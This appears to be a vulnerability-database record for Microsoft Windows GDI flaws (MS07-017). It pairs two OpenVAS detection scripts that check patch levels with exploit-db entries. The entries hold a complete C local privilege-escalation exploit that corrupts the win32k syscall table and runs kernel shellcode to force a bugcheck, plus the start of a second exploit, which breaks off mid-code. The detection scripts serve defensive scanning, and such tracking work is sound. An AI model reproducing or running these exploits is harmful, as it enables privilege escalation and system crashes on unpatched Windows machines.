modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public\n# License along with this program. If not, see\n# <http://www.gnu.org/licenses/>.\n###################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.102055\");\n script_version(\"2020-01-07T09:06:32+0000\");\n script_tag(name:\"last_modification\", value:\"2020-01-07 09:06:32 +0000 (Tue, 07 Jan 2020)\");\n script_tag(name:\"creation_date\", value:\"2010-07-08 10:59:30 +0200 (Thu, 08 Jul 2010)\");\n script_bugtraq_id(23273, 23276, 23278, 23275, 20940, 23277);\n script_cve_id(\"CVE-2006-5586\", \"CVE-2006-5758\", \"CVE-2007-1211\",\n \"CVE-2007-1212\", \"CVE-2007-1213\", \"CVE-2007-1215\");\n script_name(\"Microsoft Windows GDI Multiple Vulnerabilities (925902)\");\n script_xref(name:\"URL\", value:\"http://www.argeniss.com/research/ARGENISS-ADV-110604.txt\");\n script_xref(name:\"URL\", value:\"http://projects.info-pull.com/mokb/MOKB-06-11-2006.html\");\n script_xref(name:\"URL\", value:\"https://docs.microsoft.com/en-us/security-updates/securitybulletins/2007/ms07-017\");\n script_xref(name:\"URL\", value:\"http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=499\");\n script_tag(name:\"qod_type\", value:\"executable_version\");\n script_tag(name:\"cvss_base\", value:\"7.2\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2010 LSS\");\n script_family(\"Windows : Microsoft Bulletins\");\n script_dependencies(\"gb_ms_ie_detect.nasl\");\n script_require_ports(139, 445);\n script_mandatory_keys(\"MS/IE/Version\");\n\n script_tag(name:\"solution\", value:\"The vendor has released updates. Please see the references for more information.\");\n\n script_tag(name:\"summary\", value:\"Stack-based buffer overflow in the animated cursor code in Microsoft\n Windows 2000 SP4 through Vista allows remote attackers to execute\n arbitrary code or cause a denial of service (persistent reboot) via a\n large length value in the second (or later) anih block of a RIFF .ANI,\n cur, or .ico file, which results in memory corruption when processing\n cursors, animated cursors, and icons, a variant of CVE-2005-0416, as\n originally demonstrated using Internet Explorer 6 and 7.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n exit(0);\n}\n\ninclude(\"smb_nt.inc\");\ninclude(\"secpod_reg.inc\");\ninclude(\"version_func.inc\");\ninclude(\"secpod_smb_func.inc\");\n\nif(hotfix_check_sp(win2k:5 ,xp:4 ,win2003:3 ,vista:3) <= 0){\n exit(0);\n}\n\nieVer = get_kb_item(\"MS/IE/Version\");\nif(!ieVer){\n exit(0);\n}\n\n# MS07-017 Hotfix (925902)\nif(hotfix_missing(name:\"925902\") == 0){\n exit(0);\n}\n\ndllPath = registry_get_sz(item:\"Install Path\", key:\"SOFTWARE\\Microsoft\\COM3\\Setup\");\ndllPath += \"\\gdi32.dll\";\nshare = ereg_replace(pattern:\"([A-Z]):.*\", replace:\"\\1$\", string:dllPath);\nfile = ereg_replace(pattern:\"[A-Z]:(.*)\", replace:\"\\1\", string:dllPath);\n\n#user32.dll\ndllPath2 = registry_get_sz(item:\"Install Path\", key:\"SOFTWARE\\Microsoft\\COM3\\Setup\");\ndllPath2 += \"\\user32.dll\";\nshare2 = ereg_replace(pattern:\"([A-Z]):.*\", replace:\"\\1$\", string:dllPath2);\nfile2 = ereg_replace(pattern:\"[A-Z]:(.*)\", replace:\"\\1\", string:dllPath2);\n\nvers = GetVer(file:file, share:share);\nvers2 = GetVer(file:file2, share:share2);\nif(!vers && !vers2){\n exit(0);\n}\n\n#CVE-2006-5586, CVE-2006-5758, CVE-2007-1211, CVE-2007-1212, CVE-2007-1213, CVE-2007-1215\nif(hotfix_check_sp(win2k:5) > 0 && vers)\n{\n SP = get_kb_item(\"SMB/Win2K/ServicePack\");\n if(\"Service Pack 4\" >< SP)\n {\n if(version_in_range(version:vers, test_version:\"5.0\", test_version2:\"5.0.2195.7133\")){\n security_message( port: 0, data: \"The target host was found to be vulnerable\" ); exit(0);\n }\n }\n\n}\nelse if(hotfix_check_sp(xp:4) > 0 && vers)\n{\n SP = get_kb_item(\"SMB/WinXP/ServicePack\");\n if(\"Service Pack 2\" >< SP)\n {\n if(version_in_range(version:vers, test_version:\"5.1\", test_version2:\"5.1.2600.3099\")){\n security_message( port: 0, data: \"The target host was found to be vulnerable\" ); exit(0);\n }\n }\n}\n\nelse if(hotfix_check_sp(win2003:3) > 0 && vers)\n{\n SP = get_kb_item(\"SMB/Win2003/ServicePack\");\n if(\"Service Pack 1\" >< SP)\n {\n if(version_in_range(version:vers, test_version:\"5.2\", test_version2:\"5.2.3790.2892\")){\n security_message( port: 0, data: \"The target host was found to be vulnerable\" ); exit(0);\n }\n }\n else if(\"Service Pack 2\" >< SP)\n {\n\n if(version_in_range(version:vers, test_version:\"5.2\", test_version2:\"5.2.3790.4033\")){\n security_message( port: 0, data: \"The target host was found to be vulnerable\" ); exit(0);\n }\n }\n else if(\"Service Pack 0\">< SP){\n\tif(version_in_range(version:vers, test_version:\"5.2\", test_version2:\"5.2.3790.651\")){\n security_message( port: 0, data: \"The target host was found to be vulnerable\" ); exit(0);\n }\n }\n}\n\nelse if(hotfix_check_sp(vista:2) > 0 && vers2)\n{\n SP = get_kb_item(\"SMB/WinVista/ServicePack\");\n if(\"Service Pack 0\" >< SP)\n {\n if(version_in_range(version:vers2, test_version:\"6.0\", test_version2:\"6.0.6000.16438\")){\n security_message( port: 0, data: \"The target host was found to be vulnerable\" ); exit(0);\n }\n }\n}\n\nexit(99);\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2017-07-20T08:49:00", "bulletinFamily": "scanner", "cvelist": ["CVE-2007-1211", "CVE-2007-1213", "CVE-2006-5586", "CVE-2007-1212", "CVE-2007-1215", "CVE-2006-5758", "CVE-2005-0416"], "description": "Stack-based buffer overflow in the animated cursor code in Microsoft \n Windows 2000 SP4 through Vista allows remote attackers to execute \n arbitrary code or cause a denial of service (persistent reboot) via a \n large length value in the second (or later) anih block of a RIFF .ANI,\n cur, or .ico file, which results in memory corruption when processing \n cursors, animated cursors, and icons, a variant of CVE-2005-0416, as \n originally demonstrated using Internet Explorer 6 and 7.", "modified": "2017-07-05T00:00:00", "published": "2010-07-08T00:00:00", "id": "OPENVAS:102055", "href": "http://plugins.openvas.org/nasl.php?oid=102055", "type": "openvas", "title": "Microsoft Windows GDI Multiple Vulnerabilities (925902)", "sourceData": "###################################################################\n# OpenVAS Network Vulnerability Test\n#\n# Microsoft Windows GDI Multiple Vulnerabilities (925902)\n#\n# LSS-NVT-2010-044\n#\n# Developed by LSS Security Team <http://security.lss.hr>\n#\n# Copyright (C) 2009 LSS <http://www.lss.hr>\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public\n# License along with this program. If not, see\n# <http://www.gnu.org/licenses/>.\n###################################################################\n\ntag_solution = \"Run Windows Update or apply patches available from the following \n website:\n http://www.microsoft.com/technet/security/bulletin/ms07-017.mspx\";\ntag_summary = \"Stack-based buffer overflow in the animated cursor code in Microsoft \n Windows 2000 SP4 through Vista allows remote attackers to execute \n arbitrary code or cause a denial of service (persistent reboot) via a \n large length value in the second (or later) anih block of a RIFF .ANI,\n cur, or .ico file, which results in memory corruption when processing \n cursors, animated cursors, and icons, a variant of CVE-2005-0416, as \n originally demonstrated using Internet Explorer 6 and 7.\";\n\nif(description)\n{\n script_id(102055);\n script_version(\"$Revision: 6527 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-07-05 07:56:34 +0200 (Wed, 05 Jul 2017) $\");\n script_tag(name:\"creation_date\", value:\"2010-07-08 10:59:30 +0200 (Thu, 08 Jul 2010)\");\n script_bugtraq_id(23273, 23276, 23278, 23275, 20940, 23277);\n script_cve_id(\"CVE-2006-5586\", \"CVE-2006-5758\", \"CVE-2007-1211\", \n \"CVE-2007-1212\", \"CVE-2007-1213\", \"CVE-2007-1215\");\n script_name(\"Microsoft Windows GDI Multiple Vulnerabilities (925902)\");\n script_xref(name : \"URL\" , value : \"http://www.argeniss.com/research/ARGENISS-ADV-110604.txt\");\n script_xref(name : \"URL\" , value : \"http://projects.info-pull.com/mokb/MOKB-06-11-2006.html\");\n script_xref(name : \"URL\" , value : \"http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=499\");\n script_tag(name:\"qod_type\", value:\"executable_version\");\n script_tag(name:\"cvss_base\", value:\"7.2\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2010 LSS\");\n script_family(\"Windows : Microsoft Bulletins\");\n script_dependencies(\"gb_ms_ie_detect.nasl\");\n script_mandatory_keys(\"MS/IE/Version\");\n script_require_ports(139, 445);\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"summary\" , value : tag_summary);\n exit(0);\n}\n\ninclude(\"smb_nt.inc\");\ninclude(\"secpod_reg.inc\");\ninclude(\"version_func.inc\");\ninclude(\"secpod_smb_func.inc\");\n\nif(hotfix_check_sp(win2k:5 ,xp:4 ,win2003:3 ,vista:3) <= 0){\n exit(0);\n}\n\nieVer = get_kb_item(\"MS/IE/Version\");\nif(!ieVer){\n exit(0);\n}\n\n# MS07-017 Hotfix (925902)\nif(hotfix_missing(name:\"925902\") == 0){\n exit(0);\n}\n\ndllPath = registry_get_sz(item:\"Install Path\",\n key:\"SOFTWARE\\Microsoft\\COM3\\Setup\");\ndllPath += \"\\gdi32.dll\";\nshare = ereg_replace(pattern:\"([A-Z]):.*\", replace:\"\\1$\", string:dllPath);\nfile = ereg_replace(pattern:\"[A-Z]:(.*)\", replace:\"\\1\", string:dllPath);\n\n#user32.dll\ndllPath2 = registry_get_sz(item:\"Install Path\",\n key:\"SOFTWARE\\Microsoft\\COM3\\Setup\");\ndllPath2 += \"\\user32.dll\";\nshare2 = ereg_replace(pattern:\"([A-Z]):.*\", replace:\"\\1$\", string:dllPath2);\nfile2 = ereg_replace(pattern:\"[A-Z]:(.*)\", replace:\"\\1\", string:dllPath2);\n\nvers = GetVer(file:file, share:share);\nvers2 = GetVer(file:file2, share:share2);\nif(!vers && !vers2){\n exit(0);\n}\n\n#CVE-2006-5586, CVE-2006-5758, CVE-2007-1211, CVE-2007-1212, CVE-2007-1213, CVE-2007-1215\nif(hotfix_check_sp(win2k:5) > 0 && vers)\n{\n SP = get_kb_item(\"SMB/Win2K/ServicePack\");\n if(\"Service Pack 4\" >< SP)\n {\n if(version_in_range(version:vers, test_version:\"5.0\",\n test_version2:\"5.0.2195.7133\")){\n security_message(0); exit(0);\n }\n }\n\n}\nelse if(hotfix_check_sp(xp:4) > 0 && vers)\n{\n SP = get_kb_item(\"SMB/WinXP/ServicePack\");\n if(\"Service Pack 2\" >< SP)\n {\n if(version_in_range(version:vers, test_version:\"5.1\",\n test_version2:\"5.1.2600.3099\")){\n security_message(0); exit(0);\n }\n }\n}\n\nelse if(hotfix_check_sp(win2003:3) > 0 && vers)\n{\n SP = get_kb_item(\"SMB/Win2003/ServicePack\");\n if(\"Service Pack 1\" >< SP)\n {\n if(version_in_range(version:vers, test_version:\"5.2\",\n test_version2:\"5.2.3790.2892\")){\n security_message(0); exit(0);\n }\n }\n else if(\"Service Pack 2\" >< SP)\n {\n\n if(version_in_range(version:vers, test_version:\"5.2\",\n test_version2:\"5.2.3790.4033\")){\n security_message(0); exit(0);\n }\n }\n else if(\"Service Pack 0\">< SP){\n\tif(version_in_range(version:vers, test_version:\"5.2\",\n test_version2:\"5.2.3790.651\")){\n security_message(0); exit(0);\n }\n }\n}\n\nelse if(hotfix_check_sp(vista:2) > 0 && vers2)\n{\n SP = get_kb_item(\"SMB/WinVista/ServicePack\");\n if(\"Service Pack 0\" >< SP)\n {\n if(version_in_range(version:vers2, test_version:\"6.0\",\n test_version2:\"6.0.6000.16438\")){\n security_message(0); exit(0);\n }\n } \n}\n\n", "cvss": {"score": 7.5, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "exploitdb": [{"lastseen": "2016-01-31T19:04:38", "description": "MS Windows GDI Local Privilege Escalation Exploit (MS07-017). CVE-2006-5586,CVE-2006-5758,CVE-2007-0038,CVE-2007-1211,CVE-2007-1212,CVE-2007-1213,CVE-2007-12...", "published": "2007-04-08T00:00:00", "type": "exploitdb", "title": "Microsoft Windows GDI - Local Privilege Escalation Exploit MS07-017", "bulletinFamily": "exploit", "cvelist": ["CVE-2007-1211", "CVE-2007-1213", "CVE-2006-5586", "CVE-2007-1212", "CVE-2007-1215", "CVE-2007-0038", "CVE-2006-5758"], "modified": "2007-04-08T00:00:00", "id": "EDB-ID:3688", "href": "https://www.exploit-db.com/exploits/3688/", "sourceData": "#define _WIN32_WINNT 0x0500\r\n#include <windows.h>\r\n#include <shlwapi.h>\r\n#include <stdio.h>\r\n\r\n#pragma comment (lib, \"user32.lib\")\r\n#pragma comment (lib, \"gdi32.lib\")\r\n#pragma comment (lib, \"shlwapi.lib\")\r\n#pragma comment (lib, \"ntdll.lib\")\r\n\r\n\r\n\r\n/*\r\nHere is a sploit for the GDI MS07-017 Local Privilege Escalation, presented during the last blackhat conferences\r\nby Joel Ericksson. Modify the GdiTable of the current process and by calling good API's changean entry of the \r\nwin32k's SSDT by 0x2. \r\n\r\nbefore :\r\nlkd> dps bf998300 L 2\r\nbf998300 bf934921 win32k!NtGdiAbortDoc\r\nbf998304 bf94648d win32k!NtGdiAbortPath\r\n\r\nafter :\r\nlkd> dps bf998300 L 2\r\nbf998300 00000002\r\nbf998304 bf94648d win32k!NtGdiAbortPath\r\n\r\nwin32k.sys bDeleteBrush (called by DeleteObject)\r\nmov esi, [edx] ;esi=pKernelInfo\r\ncmp [esi+4], ebx ; ebx=0, we need [esi+4]>0\r\nmov eax, [edx+0Ch]\r\nmov [ebp+var_8], eax\r\nja short loc_BF80C1E7 ;jump if [esi+4] > 0\r\n\r\nloc_BF80C1E7:\r\nmov eax, [esi+24h] ; [esi+24] = addr to hijack (here win32k SSDT)\r\nmov dword ptr [eax], 2 ; !!!!!\r\n\r\nAt 0x2 we allocate memory with NtAllocateVirtualMemory and we copy our payload.\r\n\r\nTested on windows xp sp2 french last updates (before MS07-017) \r\n\r\nCoded by Ivanlef0u. \r\nhttp://ivanlef0u.free.fr\r\n\r\nref:\r\nhttp://www.microsoft.com/technet/security/bulletin/MS07-017.mspx\r\nhttp://research.eeye.com/html/alerts/zeroday/20061106.html\r\nhttp://projects.info-pull.com/mokb/MOKB-06-11-2006.html\r\nhttps://www.blackhat.com/presentations/bh-eu-07/Eriksson-Janmar/Whitepaper/bh-eu-07-eriksson-WP.pdf\r\nhttp://www.securityfocus.com/bid/20940/info\r\n*/\r\n\r\ntypedef struct\r\n{\r\n DWORD pKernelInfo;\r\n WORD ProcessID; \r\n WORD _nCount;\r\n WORD nUpper;\r\n WORD nType;\r\n DWORD pUserInfo;\r\n} GDITableEntry;\r\n\r\ntypedef enum _SECTION_INFORMATION_CLASS {\r\nSectionBasicInformation,\r\nSectionImageInformation\r\n}SECTION_INFORMATION_CLASS; \r\n\r\ntypedef struct _SECTION_BASIC_INFORMATION { // Information Class 0\r\nPVOID BaseAddress;\r\nULONG Attributes;\r\nLARGE_INTEGER Size;\r\n}SECTION_BASIC_INFORMATION, *PSECTION_BASIC_INFORMATION;\r\n\r\nextern \"C\" ULONG __stdcall NtQuerySection(\r\n\tIN HANDLE SectionHandle,\r\n\tIN SECTION_INFORMATION_CLASS SectionInformationClass,\r\n\tOUT PVOID SectionInformation,\r\n\tIN ULONG SectionInformationLength,\r\n\tOUT PULONG ResultLength OPTIONAL\r\n);\r\n\r\nextern \"C\" ULONG __stdcall NtAllocateVirtualMemory(\r\n\tIN HANDLE ProcessHandle,\r\n\tIN OUT PVOID *BaseAddress,\r\n\tIN ULONG ZeroBits,\r\n\tIN OUT PULONG AllocationSize,\r\n\tIN ULONG AllocationType,\r\n\tIN ULONG Protect\r\n);\r\n\r\ntypedef LONG NTSTATUS;\r\n\r\n#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) \r\n#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) \r\n\r\ntypedef struct _UNICODE_STRING {\r\nUSHORT Length;\r\nUSHORT MaximumLength;\r\nPWSTR Buffer;\r\n} UNICODE_STRING, *PUNICODE_STRING;\r\n\r\ntypedef enum _SYSTEM_INFORMATION_CLASS {\r\nSystemModuleInformation=11,\r\n} SYSTEM_INFORMATION_CLASS;\r\n\r\ntypedef struct _SYSTEM_MODULE_INFORMATION { // Information Class 11\r\nULONG Reserved[2];\r\nPVOID Base;\r\nULONG Size;\r\nULONG Flags;\r\nUSHORT Index;\r\nUSHORT Unknown;\r\nUSHORT LoadCount;\r\nUSHORT ModuleNameOffset;\r\nCHAR ImageName[256];\r\n} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; \r\n\r\nextern \"C\" NTSTATUS __stdcall NtQuerySystemInformation( \r\n\tIN SYSTEM_INFORMATION_CLASS SystemInformationClass,\r\n\tIN OUT PVOID SystemInformation,\r\n\tIN ULONG SystemInformationLength,\r\n\tOUT PULONG ReturnLength OPTIONAL\r\n);\r\n\r\nextern \"C\" ULONG __stdcall RtlNtStatusToDosError(\r\n NTSTATUS Status\r\n);\r\n\r\n\r\n// generic kernel payload, reboot the b0x\r\nunsigned char Shellcode[]={ \r\n0x60, //PUSHAD\r\n0x55, //PUSH EBP\r\n\r\n0x6A, 0x34,\r\n0x5B,\r\n0x64, 0x8B, 0x1B,\r\n0x8B, 0x6B, 0x10,\r\n\r\n0x8B, 0x45, 0x3C,\r\n0x8B, 0x54, 0x05, 0x78,\r\n0x03, 0xD5,\r\n0x8B, 0x5A, 0x20,\r\n0x03, 0xDD,\r\n0x8B, 0x4A, 0x18,\r\n0x49,\r\n0x8B, 0x34, 0x8B,\r\n0x03, 0xF5,\r\n0x33, 0xFF,\r\n0x33, 0xC0,\r\n0xFC,\r\n0xAC,\r\n0x84, 0xC0,\r\n0x74, 0x07,\r\n0xC1, 0xCF, 0x0D,\r\n0x03, 0xF8,\r\n0xEB, 0xF4,\r\n0x81, 0xFF, 0x1f, 0xaa ,0xf2 ,0xb9, //0xb9f2aa1f, KEBugCheck\r\n0x75, 0xE1,\r\n0x8B, 0x42, 0x24,\r\n0x03, 0xC5,\r\n0x66, 0x8B, 0x0C, 0x48,\r\n0x8B, 0x42, 0x1C,\r\n0x03, 0xC5,\r\n0x8B, 0x04 ,0x88,\r\n0x03, 0xC5,\r\n\r\n0x33, 0xDB,\r\n0xB3, 0xE5,\r\n0x53,\r\n0xFF, 0xD0,\r\n\r\n0x5D, //POP EBP\r\n0x61, //POPAD\r\n0xC3 //RET\r\n};\t\r\n\r\n\r\nULONG GetWin32kBase()\r\n{\r\n\tULONG i, Count, Status, BytesRet;\r\n\tPSYSTEM_MODULE_INFORMATION pSMI;\r\n\t\r\n\tStatus=NtQuerySystemInformation(SystemModuleInformation, pSMI, 0, &BytesRet); //allocation length\r\n\tif(Status!=STATUS_INFO_LENGTH_MISMATCH)\r\n\t\tprintf(\"Error with NtQuerySystemInformation : 0x%x : %d \\n\", Status, RtlNtStatusToDosError(Status));\r\n\t\r\n\tpSMI=(PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, BytesRet);\r\n\t\r\n\tStatus=NtQuerySystemInformation(SystemModuleInformation, pSMI, BytesRet, &BytesRet);\r\n\t\r\n\tif(Status!=STATUS_SUCCESS)\r\n\t\tprintf(\"Error with NtQuerySystemInformation : 0x%x : %d \\n\", Status, RtlNtStatusToDosError(Status));\r\n\t\r\n\t/*\r\n\tThe data returned to the SystemInformation buffer is a ULONG count of the number of\r\n\thandles followed immediately by an array of \r\n\tSYSTEM_MODULE_INFORMATION.\r\n\t*/\r\n\t\r\n\tCount=*(PULONG)pSMI;\r\n\tpSMI=(PSYSTEM_MODULE_INFORMATION)((PUCHAR)pSMI+4);\r\n\t\r\n\tfor(i=0; i<Count; i++)\r\n\t{\t\r\n\t\tif(StrStr((pSMI+i)->ImageName, \"win32k.sys\"))\r\n\t\t\treturn (ULONG)(pSMI+i)->Base;\r\n\t}\r\n\t\r\n\tHeapFree(GetProcessHeap(), HEAP_NO_SERIALIZE, pSMI);\r\n\t\r\n\treturn 0;\t\r\n}\t\r\n\r\n\r\n\r\n\t\r\nULONG buff[500]={0};\r\n\t\r\nint main(int argc, char* argv[])\r\n{\r\n\tULONG i, PID, Status, Old;\r\n\tLPVOID lpMapAddress=NULL;\r\n\tHANDLE hMapFile=(HANDLE)0x10;\r\n\tGDITableEntry *gdiTable; \r\n\tSECTION_BASIC_INFORMATION SBI;\r\n\tWORD Upr;\r\n\tULONG Size=0x1000;\r\n\tPVOID Addr=(PVOID)0x2;\r\n\t\r\n\tprintf(\"Windows GDI MS07-017 Local Privilege Escalation Exploit\\nBy Ivanlef0u\\n\"\r\n\t\"http://ivanlef0u.free.fr\\n\"\r\n\t\"Be MAD!\\n\");\r\n\t\r\n\t//allocate memory at addresse 0x2\r\n \tStatus=NtAllocateVirtualMemory((HANDLE)-1, &Addr, 0, &Size, MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); \r\n \tif(Status)\r\n \t\tprintf(\"Error with NtAllocateVirtualMemory : 0x%x\\n\", Status);\r\n \telse\r\n \t\tprintf(\"Addr : 0x%x OKAY\\n\", Addr);\t\r\n\t\r\n\tmemcpy(Addr, Shellcode, sizeof(Shellcode)); \r\n\t\r\n\r\n\r\n \tprintf(\"win32.sys base : 0x%x\\n\", GetWin32kBase());\r\n\t\r\n\tULONG Win32kSST=GetWin32kBase()+0x198300; //range between win32k imagebase and it's SSDT\r\n\tprintf(\"SSDT entry : 0x%x\\n\", Win32kSST); //win32k!NtGdiAbortDoc\r\n\t\r\n\t\r\n\t\r\n\tHBRUSH hBr;\r\n\thBr=CreateSolidBrush(0);\r\n\r\n\tUpr=(WORD)((DWORD)hBr>>16);\r\n\tprintf(\"0x%x\\n\", Upr);\r\n\r\n\twhile(!lpMapAddress)\r\n\t{\r\n\t\thMapFile=(HANDLE)((ULONG)hMapFile+1);\r\n\t\tlpMapAddress=MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS, 0, 0, 0);\r\n\t}\r\n\r\n\tif(lpMapAddress==NULL)\r\n\t{ \r\n\t\tprintf(\"Error with MapViewOfFile : %d\\n\", GetLastError()); \r\n\t\treturn 0;\r\n\t}\r\n\r\n\tStatus=NtQuerySection(hMapFile, SectionBasicInformation, &SBI, sizeof(SECTION_BASIC_INFORMATION), 0);\r\n\tif (Status) //!=STATUS_SUCCESS (0)\r\n\t{\r\n\t\tprintf(\"Error with NtQuerySection (SectionBasicInformation) : 0x%x\\n\", Status); \r\n\t\treturn 0;\r\n\t}\r\n\r\n\tprintf(\"Handle value : %x\\nMapped address : 0x%x\\nSection size : 0x%x\\n\\n\", hMapFile, lpMapAddress, SBI.Size.QuadPart);\r\n\tgdiTable=(GDITableEntry *)lpMapAddress;\r\n\tPID=GetCurrentProcessId();\r\n\t\r\n\tfor (i=0; i<SBI.Size.QuadPart; i+=sizeof(GDITableEntry))\r\n\t{\r\n\t\tif(gdiTable->ProcessID==PID && gdiTable->nUpper==Upr) //only our GdiTable and brush\r\n\t\t{\t\r\n\r\n\t\t\tprintf(\"gdiTable : 0x%x\\n\", gdiTable);\r\n\t\t\tprintf(\"pKernelInfo : 0x%x\\n\", gdiTable->pKernelInfo);\r\n\t\t\tprintf(\"ProcessID : %d\\n\", gdiTable->ProcessID);\r\n\t\t\tprintf(\"_nCount : %d\\n\", gdiTable->_nCount);\r\n\t\t\tprintf(\"nUpper : 0x%x\\n\", gdiTable->nUpper);\r\n\t\t\tprintf(\"nType : 0x%x\\n\", gdiTable->nType );\r\n\t\t\tprintf(\"pUserInfo : 0x%x\\n\\n\", gdiTable->pUserInfo);\r\n\t\t\t\r\n\t\t\tOld=gdiTable->pKernelInfo;\r\n\t\t\r\n\t\t\tgdiTable->pKernelInfo=(ULONG)buff; //crafted buff\r\n\t\t\tbreak;\r\n\t\t}\r\n\t\tgdiTable++;\r\n\t}\r\n\r\n\tif(!DeleteObject(hBr))\r\n\t\tprintf(\"Error with DeleteObject : %d\\n\", GetLastError());\r\n\telse\r\n\t\tprintf(\"Done\\n\");\r\n\r\n\tprintf(\"Buff : 0x%x\\n\", buff);\r\n\tmemset(buff, 0x90, sizeof(buff));\r\n\t\r\n \tbuff[0]=0x1; //!=0\r\n \tbuff[0x24/4]=Win32kSST; //syscall to modifY\r\n\tbuff[0x4C/4]=0x804D7000; //kernel base, just for avoiding bad mem ptr\r\n\r\n \tif(!DeleteObject(hBr))\r\n\t\tprintf(\"Error with DeleteObject : %d\\n\", GetLastError());\t\r\n\t\t\r\n\tgdiTable->pKernelInfo=Old; //restore old value\r\n\t\r\n\t/*\t\r\n\tlkd> uf GDI32!NtGdiAbortDoc\r\n\tGDI32!NtGdiAbortDoc:\r\n\t77f3073a b800100000 mov eax,1000h\r\n\t77f3073f ba0003fe7f mov edx,offset SharedUserData!SystemCallStub (7ffe0300)\r\n\t77f30744 ff12 call dword ptr [edx]\r\n\t77f30746 c20400 ret 4\r\n\t*/\r\n\r\n\t__asm\r\n\t{\r\n\t\tmov eax, 0x1000\r\n\t\tmov edx,0x7ffe0300\r\n\t\tcall dword ptr [edx]\t\r\n\t}\r\n\t\r\n\treturn 0;\r\n}\r\n\r\n// milw0rm.com [2007-04-08]\r\n", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}, "sourceHref": "https://www.exploit-db.com/download/3688/"}, {"lastseen": "2016-01-31T19:13:52", "description": "MS Windows GDI Local Privilege Escalation Exploit (MS07-017) 2. CVE-2006-5586,CVE-2006-5758,CVE-2007-0038,CVE-2007-1211,CVE-2007-1212,CVE-2007-1213,CVE-2007-...", "published": "2007-04-17T00:00:00", "type": "exploitdb", "title": "Microsoft Windows GDI - Local Privilege Escalation Exploit MS07-017 2", "bulletinFamily": "exploit", "cvelist": ["CVE-2007-1211", "CVE-2007-1213", "CVE-2006-5586", "CVE-2007-1212", "CVE-2007-1215", "CVE-2007-0038", "CVE-2006-5758"], "modified": "2007-04-17T00:00:00", "id": "EDB-ID:3755", "href": "https://www.exploit-db.com/exploits/3755/", "sourceData": "/*\r\nGDI Local Elevation of Privilege Vulnerability Exploit (MS07-017)\r\n\r\nCoded by Lionel d'Hauenens \r\nhttp://www.labo-asso.com\r\n\r\nDevelopment:\r\n------------\r\nDev-C++ 4.9.9.2\r\nLinked with /lib/libgdi32.a \r\n\r\nReferences:\r\n-----------\r\nhttp://www.microsoft.com/technet/security/bulletin/MS07-017.mspx\r\nhttp://research.eeye.com/html/alerts/zeroday/20061106.html\r\nhttp://www.milw0rm.com/exploits/3688 \r\nhttp://ivanlef0u.free.fr/?p=41\r\n\r\nMarch 16, 2007\r\n*/\r\n\r\n#include <stdio.h> \r\n#include <stdlib.h> \r\n#include <windows.h> \r\n\r\ntypedef enum _SECTION_INFORMATION_CLASS\r\n{\r\n SectionBasicInformation,\r\n SectionImageInformation\r\n} SECTION_INFORMATION_CLASS; \r\n \r\ntypedef struct _SECTION_BASIC_INFORMATION {\r\n ULONG Base;\r\n ULONG Attributes;\r\n LARGE_INTEGER Size;\r\n} SECTION_BASIC_INFORMATION;\r\n\r\ntypedef struct _GDI_TABLE_ENTRY\r\n{\r\n PVOID pKernelInfo;\r\n WORD ProcessID; \r\n WORD _nCount;\r\n WORD nUpper;\r\n BYTE nType;\r\n BYTE flags;\r\n PVOID pUserInfo;\r\n} GDI_TABLE_ENTRY, *PGDI_TABLE_ENTRY;\r\n\r\ntypedef DWORD (WINAPI* NTQUERYSECTION)(HANDLE, ULONG, PVOID,ULONG,PULONG); \r\nNTQUERYSECTION NtQuerySection; \r\n\r\n#define INT3 asm (\".intel_syntax noprefix\"); __asm (\"int 3\"); asm (\".att_syntax noprefix\");\r\n#define STATUS_SUCCESS 0\r\n#define PAL_TYPE 8\r\n \r\nDWORD flag_test;\r\n\r\nhook (HANDLE pal, COLORREF couleur)\r\n{\r\n // INT3\r\n // Executed code with kernel privilege\r\n asm (\".intel_syntax noprefix\");\r\n __asm (\"cli\");\r\n \r\n // it's the fiesta !!! :) \r\n \r\n __asm (\"sti\"); \r\n asm (\".att_syntax noprefix\");\r\n \r\n flag_test = 1; \r\n \r\n return (TRUE); \r\n} \r\n\r\nint main(int argc, char *argv[])\r\n{ \r\n SECTION_BASIC_INFORMATION SectionInfo; \r\n PGDI_TABLE_ENTRY pGdiEntry;\r\n PLOGPALETTE pLogPal;\r\n HANDLE hPal;\r\n PVOID OriginalPalObject;\r\n PVOID FalsePalObject; \r\n \r\n HANDLE hThread = GetCurrentThread(); \r\n DWORD OriginalThreadPriotity = 